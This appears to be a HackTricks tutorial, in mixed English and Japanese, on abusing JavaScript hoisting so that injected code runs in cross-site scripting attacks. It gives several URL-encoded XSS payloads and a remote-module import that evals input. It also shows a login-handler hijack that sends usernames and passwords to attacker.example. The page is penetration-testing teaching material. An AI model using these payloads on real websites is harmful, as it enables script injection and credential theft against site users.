JS Hoisting

Reading time: 8 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

In the JavaScript language, a mechanism known as Hoisting is described where declarations of variables, functions, classes, or imports are conceptually raised to the top of their scope before the code is executed. This process is automatically performed by the JavaScript engine, which goes through the script in multiple passes.

During the first pass, the engine parses the code to check for syntax errors and transforms it into an abstract syntax tree. This phase includes hoisting, a process where certain declarations are moved to the top of the execution context. If the parsing phase is successful, indicating no syntax errors, the script execution proceeds.

重要なのは次の点です:

  1. スクリプトは実行されるために構文エラーがないことが必要です。構文規則は厳密に守られなければなりません。
  2. hoisting によりスクリプト内のコードの配置が実行に影響を与えるため、実際に実行されるコードはそのテキスト表現と異なる場合があります。

Hoisting の種類

Based on the information from MDN, there are four distinct types of hoisting in JavaScript:

  1. Value Hoisting: Enables the use of a variable's value within its scope before its declaration line.
  2. Declaration Hoisting: Allows referencing a variable within its scope before its declaration without causing a ReferenceError, but the variable's value will be undefined.
  3. This type alters the behavior within its scope due to the variable's declaration before its actual declaration line.
  4. The declaration's side effects occur before the rest of the code containing it is evaluated.

詳しくは、function declarations は type 1 の hoisting 挙動を示します。var キーワードは type 2 の挙動を示します。Lexical declarations(letconstclass を含む)は type 3 の挙動を示します。最後に、import 文は type 1 と type 4 の両方の挙動でホイスティングされる点でユニークです。

シナリオ

Therefore if you have scenarios where you can Inject JS code after an undeclared object is used, you could fix the syntax by declaring it (so your code gets executed instead of throwing an error):

javascript
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
javascript
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
javascript
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
javascript
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]

その他のシナリオ

javascript
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
javascript
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
javascript
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()

constで名前をロックして後の宣言を先取りする

トップレベルの function foo(){...} が解析される前に実行できる場合、同じ名前でレキシカルバインディング(例: const foo = ...)を宣言すると、その識別子が後の関数宣言によって再バインドされるのを防げます。これはページの後で定義される重要なハンドラを乗っ取るために RXSSで悪用できます:

javascript
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}

// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding

注意事項

  • これは実行順序とグローバル(トップレベル)スコープに依存します。
  • ペイロードが eval() 内で実行される場合、eval 内の const/let はブロックスコープとなりグローバルなバインディングを作成しないことを忘れないでください。真のグローバルな const を確立するには、コードを含む新しい <script> 要素を挿入してください。

参考

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする